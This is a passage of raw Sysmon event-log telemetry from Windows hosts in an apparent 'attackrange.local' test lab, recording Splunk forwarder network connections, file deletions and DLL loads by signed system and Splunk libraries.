Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C7940DE8C8597D1EFC0BAF90FF703119,SHA256=69E4A91D37406E161613C680F12828E9333E11EFD77F739B5DEC6D65150E387E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018464Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:14.418{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50430-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018463Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:15.630{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D061B2B3571A4D3F07A786FD2F38A8C6,SHA256=54E3325F32445C0BF6D60F1938F0CD12B0FC267C29553CD4447F47D02628BBB7,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000057454Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:13.528{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63209-false10.0.1.12-8000- 23542300x800000000000000057453Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:15.257{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CC5CB08DC5E273B4FCA2A5AAD2FECF61,SHA256=1BC470014D1EFA9F33DE39AEFEEEE9E4005298AB2B83134FD93B7793BC677476,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000057455Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:16.303{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F3159D3040BEEBEF2A95070080AC2F1E,SHA256=B96A74DEF4DEA74434E6C62AF6D30CFFB6116C2F924C6DEA02E6232A0B717D61,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018465Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:16.661{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=042F13164C33B81316817DD370C9582F,SHA256=158E6F20051D10ECBBE9B5010BD440EA21554E8EE829366852690F4F3F2F51AA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018466Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:17.677{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B158EDD3860EF36DDD2E59CD829A6EA9,SHA256=491D749459D9405D9C853FE74E12D4BCD518C89BC8614AB160F6CCA7AC3FE4CA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057556Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.850{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C8E25278472BEA863D7124D0D2EE2F1E,SHA256=26C47CFE68FD9AFF165A720366DDAF9A70C92B55873C43A2DF1988348963DD55,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000057555Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.819{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000057554Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.819{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000057553Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.819{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000057552Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.819{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000057551Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.819{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000057550Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.819{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000057549Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.819{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000057548Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000057547Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000057546Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000057545Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000057544Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000057543Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000057542Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000057541Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057540Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000057539Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000057538Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000057537Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000057536Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000057535Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000057534Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000057533Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000057532Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000057531Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000057530Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000057529Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000057528Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000057527Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000057526Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000057525Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000057524Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000057523Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000057522Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\fltLib.dll10.0.14393.0 (rs1_release.160715-1616)Filter LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationfilterLib.dllMD5=051ABD8360BDA63A1BC77C662FBF0A25,SHA256=C914E2DBAEC2C9A11923A984B30A979637D3A27B3C29E93F4C90FB1D9FBC518F,IMPHASH=74D3C2DA8B6F9861866B866AE40683D3trueMicrosoft WindowsValid 734700x800000000000000057521Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000057520Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.803{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 10341000x800000000000000057519Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.788{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000057518Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.788{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000057517Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.788{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program 